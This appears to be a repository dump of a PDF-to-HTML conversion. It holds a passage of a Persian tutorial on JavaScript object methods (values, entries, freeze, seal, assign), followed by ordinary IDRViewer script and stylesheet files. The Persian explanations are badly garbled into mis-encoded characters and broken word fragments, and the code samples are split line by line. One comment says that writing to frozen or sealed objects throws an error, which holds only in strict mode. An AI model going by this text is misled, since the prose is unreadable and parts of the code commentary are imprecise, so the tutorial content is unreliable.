,
married:
false
,
favoriteColors: [
“green”
,
“blue”
]
};
console
.log(
Object
.values(user));
// [“ali”, 32, false , [“green” , “blue”] ]
Á
»
ر
²æÁ ³
مور
object
²±³
ا
Ý
ژگ·ها ¼ م
±¼ ´
ها
鸲
م
Ò¼
ز ز
» ´»¶±»
¿ م¾د آر
±»
:
Object.entires
í
ا
º»²
¼ ب
³
ر
»
د
Á ·
اط
θ
ر
»
object
شدن
²Å Ï
و
ÞÁ
ما با
»×
ل
» ·¾Ð
بازگ
²±³
ا
Ý
م
é
¸ی
²¸ ¶¾Î
ل
» ،
د
Á»³²
باز م·گ
هد شد. مثا
»
و
à ϳ»³ µÐ
آن بازگ
iterate
Ï
و
ÞÁ
const
user = {
name:
“ali”
,
age:
32
,
married:
false
,
favoriteColors: [
“green”
,
“blue”
]
};
Object
.entries(user);
/*
[
[“name”, “ali”]
[“age”, 32]
[“married”, false]
[“favoriteColors”, [“green” , “blue”]]
length: 4
]
*/
Á
´»²
¿ م¾د ب
±» ،
ید
Á×
ب
í
حد
»
آن ر
³²
¿ م¾د کارک
±»
ن
»
و
É
ز ع
»
ید
Á»
ب¾و
°
ا
Ⱦ
ح
»
:
Object.freeze
ی
Î
ز ق
»
·ها
º²¾º³ ´²
س
¹±
object
د شدن
駃
. با م
³¼
ب¶ کار م·ر
object
Ú±
ن
³²
د ک
駃
م
µ
ماهی
²
¼ ¸÷یی
³
ژگ· موجو
±¼ ò
، حذ
³
ژگ·ها´ موجو
±¼ ²±³
ا
Ý
م
²
د ب¶ آن، ¸÷یی
±
ژگ· جد
±¼
ن
³¼×Ó»
. مثا
³
م·شو
Ö
ا
ßÁ» Æ
قاب
²
ی
õ
object
ژگ·ها´ آن
±¼
96
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/99.html ================================================
const
user = {
name:
“ali”
,
age:
32
,
married:
false
,
favoriteColors: [
“green”
,
“blue”
]
};
Object
.freeze(user);
user.name =
“mehdi”
;
// Throws an error
user.newProprty =
“newValue”
;
// Throws an error
و
ÈÁ ϳ
¾فا
º»
isFrozen
ز م¾د
»
ن
»
ی× م·¸و
Á
object
ن
³
د بو
駃
· م
º
ر
²
´ ب
»²
ب
Á
Ï
جاز
» ¶
¿ ¸فا¼ت ک
±»
د با
É
م·ک
ÆÈ
ع
freeze
ی¶ ب¶ م¾د
Î
¿ م¾د بسیار ش
±»
:
Object.seal
²
´ ¸÷یی
»²
ب
óÝÓ ·º²¾º³ ¿±» ¶¾Î
ل
» ،
هد
³·
م
»
ر
object
ر¼´
²
ب
³
ژگ·ها´ موجو
±¼ ²±³
ا
Ý
م
²
¸÷یی
ò
د حذ
ÉÁ»
·¸و
ÈÁ ³
ژگ·ها´ موجو
±¼
ا
± ³
شو
þ
د عو
Á»
·¸و
ÈÁ
ژگ·ها
±¼ µ
م·باشد ¼ ماهی
²±³
ا
Ý
م
. مثا
µº» Ï
شد
Ö
¼ مو
²Ô
م
²æÁ ³
مور
object
²Ì±³
ارت
Î
د، ب¶ ع
Á
شو
const
user = {
name:
“ali”
,
age:
32
,
married:
false
,
favoriteColors: [
“green”
,
“blue”
]
};
Object
.seal(user);
user.name =
“mehdi”
;
console
.log(user.name);
// “mehdi”
delete
user.name;
//
Throws an error
user.newProprty =
“newValue”
;
//
Throws an error
Á
ب¶
object
د
É
ا چ
± Ú±
2
enumerable
ژگ·ها´
±¼ Ö
ا
ȸ
ن
³²
´ کپ· ک
»²
¿ م¾د ب
±»
:Object.assign
د.
Á»³²
باز م·گ
»
د ر
àÝ
م
object
¼ ³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
د مور
àÝ
م
object
Ú±
³
¶ شو
Õ
ال
ä
م
object
ژگ·ها´
±¼ ´
د
É
ب
²¹
ی
Å ¶
ب
Ê
بو
²
م
îÞÎ
م
Ö¼³ Ä
بخ
ą
97
Í×
پن
ØÉ³
================================================ FILE: HTML/annotations.json ================================================ {"pages":[]} ================================================ FILE: HTML/assets/idrviewer.annotations.js ================================================ /* v1.1.0 */ (function() { "use strict"; var LoadManager = (function() { var LoadManager = {}, preLoadedPages = [], annotationsPages, annotationsContainers = []; (function() { var request = new XMLHttpRequest(); request.open('GET', 'annotations.json', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { annotationsPages = JSON.parse(request.responseText).pages; initPreloadedPages(); } }; request.send(); })(); var initPreloadedPages = function() { if (preLoadedPages.length) { for (var i = 0; i < preLoadedPages.length; i++) { initPage(preLoadedPages[i]); } preLoadedPages = []; } }; var initPage = function(page) { var pageContainer = document.getElementById("page" + page); pageContainer.children[0].style.position = "absolute"; var annotationsContainer = document.createElement("div"); annotationsContainer.className = "page-inner"; annotationsContainer.setAttribute("style", "position: absolute; visibility: hidden;"); annotationsContainer.style.width = pageContainer.style.width; annotationsContainer.style.height = pageContainer.style.height; pageContainer.appendChild(annotationsContainer); annotationsContainers[page] = annotationsContainer; for (var i = 0; i < annotationsPages.length; i++) { if (annotationsPages[i].page === page) { var annotations = annotationsPages[i].annotations; for (var j = 0; j < annotations.length; j++) { loadFunction(annotationsContainer, annotations[j]); } } } }; IDRViewer.on("pageload", function(data) { if (annotationsPages) { initPage(data.page); } else { preLoadedPages.push(data.page); } }); IDRViewer.on("pageunload", function(data) { if (annotationsContainers[data.page]) { annotationsContainers[data.page].parentNode.removeChild(annotationsContainers[data.page]); annotationsContainers[data.page] = null; } }); var loadFunction; LoadManager.setLoadFunction = function(loadFn) { loadFunction = loadFn; }; return LoadManager; })(); var ActionHandler = (function() { var ActionHandler = {}, handlers = { 'click': [], 'mouseover': [], 'mouseout': [], 'touchstart': [] }; ActionHandler.register = function(types, events, handler) { for (var i = 0; i < types.length; i++) { for (var j = 0; j < events.length; j++) { handlers[events[j]].push({ type: types[i], handler: handler }); } } }; ActionHandler.onclick = function(data) { for (var i = 0; i < handlers.click.length; i++) { if (data.type === handlers.click[i].type) { handlers.click[i].handler.onclick.apply(this, [data]); } } }; ActionHandler.onmouseover = function(data) { for (var i = 0; i < handlers.mouseover.length; i++) { if (data.type === handlers.mouseover[i].type) { handlers.mouseover[i].handler.onmouseover.apply(this, [data]); } } }; ActionHandler.onmouseout = function(data) { for (var i = 0; i < handlers.mouseout.length; i++) { if (data.type === handlers.mouseout[i].type) { handlers.mouseout[i].handler.onmouseout.apply(this, [data]); } } }; ActionHandler.ontouchstart = function(data) { for (var i = 0; i < handlers.touchstart.length; i++) { if (data.type === handlers.touchstart[i].type) { handlers.touchstart[i].handler.ontouchstart.apply(this, [data]); } } }; return ActionHandler; })(); (function() { var LinkActionHandler = {}, currentSound; var pageCount; IDRViewer.on("ready", function(data) { pageCount = data.pagecount; }); LinkActionHandler.onmouseover = function(data) { if (data.action) { this.style.cursor = "pointer"; if (data.action.type === "URI") { this.title = data.action.uri; } } }; LinkActionHandler.onclick = function(data) { if (data.action) { switch (data.action.type) { case "URI": window.open(data.action.uri, "_blank"); break; case "GoTo": IDRViewer.goToPage(data.action.page, data.action.zoom); break; case "Named": switch(data.action.name) { case "NextPage": IDRViewer.next(); break; case "PrevPage": IDRViewer.prev(); break; case "FirstPage": IDRViewer.goToPage(1); break; case "LastPage": if (pageCount) { IDRViewer.goToPage(pageCount); } break; } break; case "Sound": // HTMLAudioElement is not supported in any version of IE if (currentSound) { currentSound.pause(); } currentSound = new Audio(data.action.sound); currentSound.play(); break; } } }; ActionHandler.register(["Link", "Widget"], ["click", "mouseover"], LinkActionHandler); })(); (function() { var FileAttachmentHandler = {}; FileAttachmentHandler.onmouseover = function() { this.style.cursor = "pointer"; }; FileAttachmentHandler.onclick = function(data) { window.open(data.attachment, "_blank"); }; ActionHandler.register(["FileAttachment"], ["click", "mouseover"], FileAttachmentHandler); })(); (function() { var PopupHandler = {}, currentPopup, isMobile; var createPopup = function(data) { if (data["contents"]) { var boundingRect = document.getElementById(data.objref).getBoundingClientRect(); var midX = ((boundingRect.right - boundingRect.left) / 2) + boundingRect.left; var bottomY = boundingRect.bottom; var element = document.createElement("div"); element.dataset.parentRef = data.objref; element.setAttribute("style", "position: fixed; width: 300px; min-height: 200px; left: " + (midX - 150) + "px; top: " + (bottomY + 5) + "px; background-color: #FFFFEF; border-radius: 10px; border: 1px #bbb solid; padding: 10px; box-sizing: border-box; font-family: Arial;"); var p1 = document.createElement("p"); if (data["title"]) { p1.innerText = data["title"]; } p1.setAttribute("style", "font-weight: bold; margin: 0;"); var p2 = document.createElement("p"); if (data["contents"]) { p2.innerText = data["contents"]; } element.appendChild(p1); element.appendChild(p2); document.body.appendChild(element); return element; } return null; }; PopupHandler.onmouseover = function(data) { if (!isMobile) { // Prevent mobile/tablet (Android) firing both mouseover and click (shows then immediately hides popup) if (!currentPopup) { currentPopup = createPopup(data); } else { currentPopup.parentNode.removeChild(currentPopup); currentPopup = null; } } }; PopupHandler.onmouseout = function() { if (currentPopup) { currentPopup.parentNode.removeChild(currentPopup); currentPopup = null; } }; PopupHandler.onclick = function(data) { if (isMobile) { // For mobile/tablet (touch screens) if (currentPopup) { var currentRef = currentPopup.dataset.parentRef; currentPopup.parentNode.removeChild(currentPopup); currentPopup = null; if (currentRef !== data.objref) { currentPopup = createPopup(data); } } else { currentPopup = createPopup(data); } } }; PopupHandler.ontouchstart = function() { isMobile = true; }; ActionHandler.register(["Text", "Line", "Square", "Circle", "Polygon", "PolyLine", "Highlight", "Underline", "Squiggly", "StrikeOut", "Stamp", "Caret", "Ink", "FileAttachment", "Redact", "Projection"], ["click", "mouseover", "mouseout", "touchstart"], PopupHandler); })(); (function() { var RichMediaHandler = {}; RichMediaHandler.onmouseover = function() { this.style.cursor = "pointer"; }; RichMediaHandler.onclick = function(data) { if (data.richmedia.length) { var isVideo = data.richmedia[0].type.startsWith("video"); var newElement = document.createElement(isVideo ? "video" : "audio"); newElement.setAttribute("style", "position: absolute; object-fit: fill; visibility: visible;"); newElement.setAttribute("controls", "controls"); newElement.style.left = data.bounds[0] + "px"; newElement.style.top = data.bounds[1] + "px"; newElement.style.width = data.bounds[2] + "px"; newElement.style.height = data.bounds[3] + "px"; newElement.title = data.type; newElement.dataset.objref = data.objref; newElement.id = data.objref; for (var i = 0; i < data.richmedia.length; i++) { var src = document.createElement("source"); src.setAttribute("src", data.richmedia[i].src); src.setAttribute("type", data.richmedia[i].type); newElement.appendChild(src); } this.parentNode.replaceChild(newElement, this); } }; ActionHandler.register(["RichMedia"], ["click", "mouseover"], RichMediaHandler); })(); (function() { var createAnnotation = function(container, data) { var annotation = document.createElement("div"); annotation.setAttribute("style", "position: absolute; visibility: visible; -webkit-user-select: none;"); annotation.style.left = data.bounds[0] + "px"; annotation.style.top = data.bounds[1] + "px"; annotation.style.width = data.bounds[2] + "px"; annotation.style.height = data.bounds[3] + "px"; annotation.dataset.objref = data.objref; annotation.id = data.objref; if (data.appearance) { annotation.style.backgroundImage = "url('" + data.appearance + "')"; annotation.style.backgroundSize = "100% 100%"; } container.appendChild(annotation); annotation.addEventListener("click", function() { ActionHandler.onclick.apply(this, [data]); }); annotation.addEventListener("mouseover", function() { ActionHandler.onmouseover.apply(this, [data]); }); annotation.addEventListener("mouseout", function() { ActionHandler.onmouseout.apply(this, [data]); }); annotation.addEventListener("touchstart", function() { ActionHandler.ontouchstart.apply(this, [data]); }); }; LoadManager.setLoadFunction(createAnnotation); })(); })(); ================================================ FILE: HTML/assets/idrviewer.css ================================================ /* IDRViewer - v1.8.2 */ /* Layout Styles */ .page { display:block; overflow: hidden; background-color: white; } .page-inner { -webkit-transform-origin: top left; -ms-transform-origin: top left; transform-origin: top left; } #idrviewer { overflow: auto; line-height: 0; margin: 0; padding: 0; -webkit-overflow-scrolling: touch; } #overlay { width: 100%; height: 100%; position: absolute; z-index: 10; visibility: hidden; } #overlay.panning { visibility: visible; cursor: all-scroll; cursor: -moz-grab; cursor: -webkit-grab; cursor: grab; } #overlay.panning.mousedown { cursor: all-scroll; cursor: -moz-grabbing; cursor: -webkit-grabbing; cursor: grabbing; } /* Presentation Layout */ .layout-presentation .page { visibility: hidden; position: absolute; } .layout-presentation .page.current { visibility: visible !important; z-index: 1; /* Fix selection in IE/Edge */ } /* Continuous Layout */ .layout-continuous .page { margin: 0 auto 10px; } .layout-continuous .page:last-child { margin: 0 auto 0; } /* Continuous_Horizontal Layout */ #idrviewer.layout-continuous_horizontal { overflow: hidden; /*-webkit-scroll-snap-type: mandatory;*/ /*-webkit-scroll-snap-points-x: repeat(100%);*/ } .layout-continuous_horizontal .page { display: inline-block; transform: translate3d(0, 0, 0); } /* Magazine Layout */ .layout-magazine .page { visibility: hidden; position: absolute; } .layout-magazine .page.current { visibility: visible !important; z-index: 1; /* Fix selection in IE/Edge */ } /* Slide Transition */ .layout-presentation.transition-slide .page { -webkit-transition: opacity 0.2s, -webkit-transform 0.4s; transition: opacity 0.2s, transform 0.4s; opacity: 0; visibility: visible !important; } .layout-presentation.transition-slide .page.current { visibility: visible !important; opacity: 1; } .layout-presentation.transition-slide .page.after { visibility: visible !important; -webkit-transform: translateX(130%); transform: translateX(130%); -webkit-transition-delay: 0.1s, 0s; transition-delay: 0.1s, 0s; } .layout-presentation.transition-slide .page.before { visibility: visible !important; -webkit-transform: translateX(-130%); transform: translateX(-130%); -webkit-transition-delay: 0.1s, 0s; transition-delay: 0.1s, 0s; } /* Fade Transition */ .layout-presentation.transition-fade .page { -webkit-transition: visibility 0.5s, opacity 0.5s; transition: visibility 0.5s, opacity 0.5s; opacity: 1; } .layout-presentation.transition-fade .page.prev, .layout-presentation.transition-fade .page.next { opacity: 0; z-index: 2; } /* Flip Transition */ .layout-presentation.transition-flip > div > div { -webkit-transform-style: preserve-3d; transform-style: preserve-3d; -webkit-perspective: 1000px; perspective: 1000px; } .layout-presentation.transition-flip .page { -webkit-transition: -webkit-transform 0.5s; transition: transform 0.5s; -webkit-backface-visibility: hidden; backface-visibility: hidden; } .layout-presentation.transition-flip .page.before { -webkit-transform: rotateY(-180deg); transform: rotateY(-180deg); } .layout-presentation.transition-flip .page.after { -webkit-transform: rotateY(180deg); transform: rotateY(180deg); } .layout-presentation.transition-flip .next, .layout-presentation.transition-flip .prev { visibility: visible; } /* Throw Transition */ .layout-presentation.transition-throw .page { opacity: 0; -webkit-transition: -webkit-transform 0.5s, opacity 0.5s; transition: transform 0.5s, opacity 0.5s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .layout-presentation.transition-throw .page.current { visibility: visible !important; z-index: 3; opacity: 1; } .layout-presentation.transition-throw .page.prev { visibility: visible !important; opacity: 0; z-index: 4; } .layout-presentation.transition-throw .page.prev:nth-child(even) { -webkit-transform: translate(100%, -100%) rotate(240deg); transform: translate(100%, -100%) rotate(240deg); } .layout-presentation.transition-throw .page.prev:nth-child(odd) { -webkit-transform: translate(-100%, -100%) rotate(-240deg); transform: translate(-100%, -100%) rotate(-240deg); } .layout-presentation.transition-throw .page.next { visibility: visible !important; -webkit-transform: none; transform: none; opacity: 1; z-index: 2; } /* Magazine Transition */ .layout-magazine.transition-magazine > div > div { -webkit-transform-style: preserve-3d; transform-style: preserve-3d; -webkit-perspective: 3000px; perspective: 3000px; } .layout-magazine.transition-magazine .page { -webkit-transition: -webkit-transform 0.5s; transition: transform 0.5s; -webkit-backface-visibility: hidden; backface-visibility: hidden; } :not(.isR2L).layout-magazine.transition-magazine .page:nth-child(odd), .isR2L.layout-magazine.transition-magazine .page:nth-child(even) { -webkit-transform-origin: left top 0; transform-origin: left top 0; } :not(.isR2L).layout-magazine.transition-magazine .page:nth-child(even), .isR2L.layout-magazine.transition-magazine .page:nth-child(odd) { -webkit-transform-origin: right top 0; transform-origin: right top 0; } .layout-magazine.transition-magazine .page.current, :not(.isR2L).layout-magazine.transition-magazine .page.prev:nth-child(even), :not(.isR2L).layout-magazine.transition-magazine .page.next:nth-child(odd), :not(.isR2L).layout-magazine.transition-magazine .page.before:nth-child(even), :not(.isR2L).layout-magazine.transition-magazine .page.after:nth-child(odd), .isR2L.layout-magazine.transition-magazine .page.next:nth-child(odd), .isR2L.layout-magazine.transition-magazine .page.prev:nth-child(even), .isR2L.layout-magazine.transition-magazine .page.after:nth-child(odd), .isR2L.layout-magazine.transition-magazine .page.before:nth-child(even) { -webkit-transform: none !important; transform: none !important; } :not(.isR2L).layout-magazine.transition-magazine .page.before:nth-child(odd), :not(.isR2L).layout-magazine.transition-magazine .page.prev:nth-child(odd), .isR2L.layout-magazine.transition-magazine .page.after:nth-child(even), .isR2L.layout-magazine.transition-magazine .page.next:nth-child(even) { -webkit-transform: rotateY(-180deg); transform: rotateY(-180deg); z-index: 3; } :not(.isR2L).layout-magazine.transition-magazine .page.after:nth-child(even), :not(.isR2L).layout-magazine.transition-magazine .page.next:nth-child(even), .isR2L.layout-magazine.transition-magazine .page.before:nth-child(odd), .isR2L.layout-magazine.transition-magazine .page.prev:nth-child(odd){ -webkit-transform: rotateY(180deg); transform: rotateY(180deg); z-index: 3; } .layout-magazine.transition-magazine .page.prev, .layout-magazine.transition-magazine .page.next { visibility: visible; } .layout-magazine.transition-magazine .page.current { z-index: 2; } ================================================ FILE: HTML/assets/idrviewer.fullscreen.js ================================================ /* v1.1.0 */ (function() { "use strict"; var Fullscreen = { isFullscreenEnabled: function() { return document.fullscreenEnabled || document.msFullscreenEnabled || document.mozFullScreenEnabled || document.webkitFullscreenEnabled; }, isFullscreen: function() { return !!(document.fullscreenElement || document.msFullscreenElement || document.mozFullScreenElement || document.webkitFullscreenElement); }, toggleFullScreen: function () { if (!this.isFullscreen()) { var requestFullscreen = document.body.requestFullscreen || document.body.msRequestFullscreen || document.body.mozRequestFullScreen || document.body.webkitRequestFullscreen; requestFullscreen.call(document.body); } else { var exitFullscreen = document.exitFullscreen || document.msExitFullscreen || document.mozCancelFullScreen || document.webkitCancelFullScreen; exitFullscreen.call(document); } } }; for (var prop in Fullscreen) { if (Fullscreen.hasOwnProperty(prop)) { IDRViewer[prop] = Fullscreen[prop]; } } ["fullscreenchange", "MSFullscreenChange", "mozfullscreenchange", "webkitfullscreenchange"].forEach(function(type) { document.addEventListener(type, function() { IDRViewer.fire('fullscreenchange', { isFullscreen: Fullscreen.isFullscreen() }); }); }); })(); ================================================ FILE: HTML/assets/idrviewer.js ================================================ /*! IDRViewer - v1.10.2 | Copyright 2020 IDRsolutions */ !function(){"use strict";var a,b,c,d,e,f,g,h,i,j,k={LAYOUT_PRESENTATION:"presentation",LAYOUT_MAGAZINE:"magazine",LAYOUT_CONTINUOUS:"continuous",SELECT_SELECT:"select",SELECT_PAN:"pan",ZOOM_SPECIFIC:"specific",ZOOM_ACTUALSIZE:"actualsize",ZOOM_FITWIDTH:"fitwidth",ZOOM_FITHEIGHT:"fitheight",ZOOM_FITPAGE:"fitpage",ZOOM_AUTO:"auto"},l=1,m=0,n=!0,o=[],p=[],q=10,r={},s=!1,t="",u=[],v=!1,w="continuous_horizontal",x=!1;k.setup=function(r){r||(r=IDRViewer.config),s=!0,d=/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent),f="svgz"===r.pageType,e=f||"svg"===r.pageType,g=r.bounds,m=r.pagecount,r.url&&(t=r.url),x=!!r.isR2L,A.setup(),b=K("idrviewer"),x&&L.addClass(b,"isR2L"),J.setup();var u=document.createElement("style");u.setAttribute("type","text/css"),document.head.appendChild(u),i=u.sheet,(l<1||l>m)&&(l=1);for(var v=0;v=200&&c.status<400){var d=document.createElement("div");d.innerHTML=c.responseText;var e=d.querySelector("#p"+b);e.style.margin="0",e.style.overflow="hidden",e.style.position="relative";var f=function(){A.setState(b,z.LOADED),this&&this.removeEventListener("load",f),k.fire("pageload",{page:b})},g=e.querySelector("#pdf"+b),h=g.getAttribute("data")||g.getAttribute("src");if(h&&g.addEventListener("load",f),t){var l=g.getAttribute("data");l?g.setAttribute("data",t+l):(l=g.getAttribute("src"),l&&l.indexOf("base64")===-1&&g.setAttribute("src",t+l))}var m=e.querySelector("#fonts"+b);if(m){var n=m.innerHTML;m.parentNode.removeChild(m),n.match(/@font-face {[\s\S]*?}/g).forEach(function(a){u.indexOf(a)===-1&&(u.push(a),i.insertRule(a.replace('url("','url("'+t),i.cssRules.length))})}var o=e.querySelector(".shared-css");o&&(o.parentNode.removeChild(o),v||(document.head.appendChild(o),v=!0)),L.addClass(e,"page-inner"),a.appendChild(e),h||f()}else j()},c.onerror=j;try{c.send()}catch(d){}};try{l()}catch(m){j()}}},c},z={LOADING:"loading",HIDDEN:"hidden",UNLOADED:"unloaded",LOADED:"loaded"},A=function(){var a,b,c,d={},e=500,f=50,g=20,h=2,i=0,j=0,k=0,l=[];d.setup=function(){c=m;for(var a=1;a<=m;a++)l[a]=z.UNLOADED},d.getState=function(a){return l[a]},d.setState=function(a,b){n(l[a],b),l[a]=b};var n=function(a,b){switch(a){case z.LOADING:i--;break;case z.LOADED:j--;break;case z.HIDDEN:k--;break;case z.UNLOADED:c--}switch(b){case z.LOADING:i++;break;case z.LOADED:j++;break;case z.HIDDEN:k++;break;case z.UNLOADED:c++}},p=function(){if(o[a].load(),ig;)a-k>l-a?(o[k].isVisible()&&o[k].hide(),k++):(o[l].isVisible()&&o[l].hide(),l--);for(k=1,l=m;m-c>f;)a-k>l-a?(o[k].isLoaded()&&o[k].unload(),k++):(o[l].isLoaded()&&o[l].unload(),l--);b=setTimeout(p,e)},q=function(a){return a>=1&&a<=m};return d.setPage=function(c,d){a=c,d&&o[c].load(),clearTimeout(b),b=setTimeout(p,e)},d.stopLoading=function(){clearTimeout(b),b=setTimeout(p,e)},d}(),B=function(a){l!=a&&(l=a,A.setPage(a),k.fire("pagechange",{page:l,pagecount:m,isFirstPage:1===l,isLastPage:c.isLastPage(a)}))},C=function(){var c={};c.setup=function(){},c.unload=function(){for(var b=1;b<=m;b++)p[b].style.marginLeft="",p[b].style.marginTop="",L.removeClass(p[b],"current","prev","next","before","after");a.style.width="",a.style.height=""},c.goToPage=function(a){B(a),n||J.updateZoom(),b.scrollTop=0,d(a),c.updateLayout()},c.getVisiblePages=function(){return[l]};var d=function(a){for(var b=1;b<=m;b++)L.removeClass(p[b],"current","prev","next","before","after"),ba&&L.addClass(p[b],"after");L.addClass(p[a],"current"),a-1>=1&&L.addClass(p[a-1],"prev"),a+1<=m&&L.addClass(p[a+1],"next")};return c.updateLayout=function(){var c=J.getZoom(),d=Math.floor(g[l-1][0]*c),e=0,f=b.clientWidth-q;f>d?e=(f-d)/2:f=d;var h=Math.floor(g[l-1][1]*c),i=0,j=b.clientHeight-q;j>h?i=(j-h)/2:j=h,a.style.width=f+"px",a.style.height=j+"px";for(var k=1;k<=m;k++)p[k].style.marginLeft=e+"px",p[k].style.marginTop=i+"px"},c.isLastPage=function(a){return a===m},c.getZoomBounds=function(){return{width:g[l-1][0],height:g[l-1][1]}},c.getAutoZoom=function(a,b){return Math.min(a,b)},c.next=function(){k.goToPage(l+1)},c.prev=function(){k.goToPage(l-1)},c.toString=function(){return IDRViewer.LAYOUT_PRESENTATION},c}(),D=function(){function c(a){return a>1&&a0&&(L.addClass(p[a-1],"prev"),a-2>0&&L.addClass(p[a-2],"prev")),a+4<=m)for(b=a+4;b<=m;b++)L.addClass(p[b],"after");if(a-3>0)for(b=a-3;b>0;b--)L.addClass(p[b],"before")};return d.updateLayout=function(){var d=c(l),e=J.getZoom(),f=Math.floor(g[l-1][0]*e),h=d?Math.floor(g[l][0]*e):f,i=2*Math.max(f,h),j=Math.max(i,b.clientWidth-q),k=Math.floor(j/2),n=k,o=k;x?o-=h:n-=f;var r=Math.floor(g[l-1][1]*e),s=d?Math.floor(g[l][1]*e):r,t=Math.max(r,s,b.clientHeight-q),u=Math.floor((t-(x?s:r))/2),v=Math.floor((t-(x?r:s))/2);a.style.width=j+"px",a.style.height=t+"px",p[1].style.marginLeft=o+"px",p[1].style.marginTop=v+"px";for(var w=2;w<=m;w+=2)p[w].style.marginLeft=n+"px",p[w].style.marginTop=u+"px",wm},d.getZoomBounds=function(){var a=c(l),b=Math.floor(g[l-1][0]),d=a?Math.floor(g[l][0]):0,e=Math.floor(g[l-1][1]),f=a?Math.floor(g[l][1]):0;return{width:2*Math.max(b,d),height:Math.max(e,f)}},d.getAutoZoom=function(a,b){return Math.min(a,b)},d.next=function(){k.goToPage(l+(1==l?1:2))},d.prev=function(){k.goToPage(l-1)},d.toString=function(){return IDRViewer.LAYOUT_MAGAZINE},d}(),E=function(){var a={},c=0,d=0,e=[];a.setup=function(){b.addEventListener("scroll",f);for(var a=0;ac&&(c=g[a][0]),g[a][1]>d&&(d=g[a][1])},a.unload=function(){b.removeEventListener("scroll",f)};var f=function(){A.stopLoading(),h()},h=function(){var a,b;if(p[1].getBoundingClientRect().top>0)B(1);else for(a=1;a<=m;a++){var c=p[a].getBoundingClientRect();b=c.top;var d=c.bottom-c.top;if(b<=.25*d&&b>.5*-d){B(a);break}}i()},i=function(){e=[l];var a,c,d=b.clientHeight,f=function(a){return c=p[a].getBoundingClientRect(),c.bottom>0&&c.top=1&&f(a);a--)e.push(a);for(a=l+1;a<=m&&f(a);a++)e.push(a)};return a.goToPage=function(a,c){var d=0;if(c){var e=c.split(" ");switch(e[0]){case"XYZ":d=Number(e[2]);break;case"FitH":d=Number(e[1]);break;case"FitR":d=Number(e[4]);break;case"FitBH":d=Number(e[1])}(isNaN(d)||d<0||d>g[a-1][1])&&(d=0),0!==d&&(d=g[a-1][1]-d)}var f=J.getZoom();b.scrollTop=p[a].offsetTop-q/2+d*f,B(a),i()},a.getVisiblePages=function(){return e},a.updateLayout=function(){},a.isLastPage=function(a){return a===m},a.getZoomBounds=function(){return{width:c,height:d}},a.getAutoZoom=function(c){return a.getZoomBounds().width>b.clientWidth-q?c:1},a.next=function(){k.goToPage(l+1)},a.prev=function(){k.goToPage(l-1)},a.toString=function(){return IDRViewer.LAYOUT_CONTINUOUS},a}(),F=function(){var c={},d=0,e=0,f=[],h=0,i=0,j=0,n=0;return c.setup=function(){var a,f,j,k=0,n=0;b.addEventListener("touchstart",function(b){l>1&&(p[l-1].style.transition=""),p[l].style.transition="",l1&&(p[l-1].style.transform="translate3D("+(h-b.clientWidth)+"px, 0, 0)"),p[l].style.transform="translate3D("+h+"px, 0, 0)",l100&&Math.abs(g)>.25*Math.abs(m)&&(e=g<0?l+1:l-1)}i+=h,h=0;var o=e?e:Math.round(-i/b.clientWidth)+1;c.goToPage(o)});for(var o=0;od&&(d=g[o][0]),g[o][1]>e&&(e=g[o][1])},c.unload=function(){a.style.width="",a.style.height=""},c.goToPage=function(a){a<1?a=1:a>m&&(a=m),i=-j*(a-1);var b=a>l?"right":"left";if(p[a].style.transition="0.5s",p[a].style.transform="translate3D(0, 0, 0)",a===l)a>1&&(p[a-1].style.transition="0.5s",p[a-1].style.transform="translate3D("+-j+"px, 0, 0)"),a1&&(p[l-1].style.transition="",p[l-1].style.transform="translate3D("+-j+"px, 0, 0)");for(var c=l+1;ca;d--)p[d].style.transition="",p[d].style.transform="translate3D("+j+"px, 0, 0)"}setTimeout(function(){A.stopLoading()},250),B(a),f=[l]},c.getVisiblePages=function(){return f},c.updateLayout=function(){var c=J.getZoom(),f=e*c,g=d*c,h=(j-g)/2,i=(n-f)/2;n=b.clientHeight,j=b.clientWidth;for(var k=0;k=4?(l=4,i=!0):l<=.25&&(l=.25,h=!0);var n=b.scrollTop/b.scrollHeight;c.updateLayout();for(var q=c.getVisiblePages(),t=1;t<=m;t++)q.indexOf(t)===-1&&o[t].hide();a&&d.deleteRule(a);var u=r(null,0,0,l,!1);a=d.insertRule(".page-inner { \n"+u+"\n}",d.cssRules.length);for(var w=0;wa){b=h[c];break}for(c=0;ca&&d<=b)return i[c]}return b},u=function(){for(var a=l,b=h[0],c=h.length-1;c>=0;c--)if(h[c]=b&&d=1&&a<=m&&c.goToPage(Number(a),b):l=a},k.next=function(){c.next()},k.prev=function(){c.prev()},k.setLayout=function(a){s?(c.unload(),L.removeClass(b,"layout-"+c.toString()),a==k.LAYOUT_PRESENTATION?c=C:a==k.LAYOUT_MAGAZINE?c=D:a==k.LAYOUT_CONTINUOUS?c=E:a==w&&(c=F),c.setup(l),L.addClass(b,"layout-"+c.toString()),J.updateZoom(IDRViewer.ZOOM_AUTO),c.goToPage(l),k.fire("layoutchange",{layout:a})):j=a},k.updateLayout=function(){J.updateZoom()};var K=function(a){return document.getElementById(a)};k.on=function(a,b){r[a]||(r[a]=[]),r[a].indexOf(b)===-1&&r[a].push(b)},k.off=function(a,b){if(r[a]){var c=r[a].indexOf(b);c!==-1&&r[a].splice(c,1)}},k.fire=function(a,b){r[a]&&r[a].forEach(function(a){a(b)})};var L=function(){return{addClass:function(a,b){var c=0!==a.className.length?a.className.split(" "):[],d=c.indexOf(b);d===-1&&(c.push(b),a.className=c.join(" "))},removeClass:function(){for(var a=arguments[0],b=0!==a.className.length?a.className.split(" "):[],c=1;c= 200 && request.status < 400) { textContent = JSON.parse(request.responseText); } if (loadListener) { loadListener(!!textContent); } }; request.onerror = function() { if (loadListener) { loadListener(false); } }; request.send(); } else { // Already loaded if (loadListener) { setTimeout(function () { loadListener(true); }, 0); } } }; var resultsLimit; IDRViewer.search = function(searchTerm, matchCase, limitOnePerPage) { if (!textContent) { throw new Error("Search not loaded. loadSearch() must be called first."); } var results = []; if (textContent && searchTerm) { searchTerm = matchCase ? searchTerm : searchTerm.toUpperCase(); for (var i = 0; i < textContent.length; i++) { var pageContent = matchCase ? textContent[i] : textContent[i].toUpperCase(); var index = -1; do { index = pageContent.indexOf(searchTerm, index + 1); if (index >= 0) { var SNIPPET_LENGTH = 50; var snippetStart = index >= SNIPPET_LENGTH ? index - SNIPPET_LENGTH : 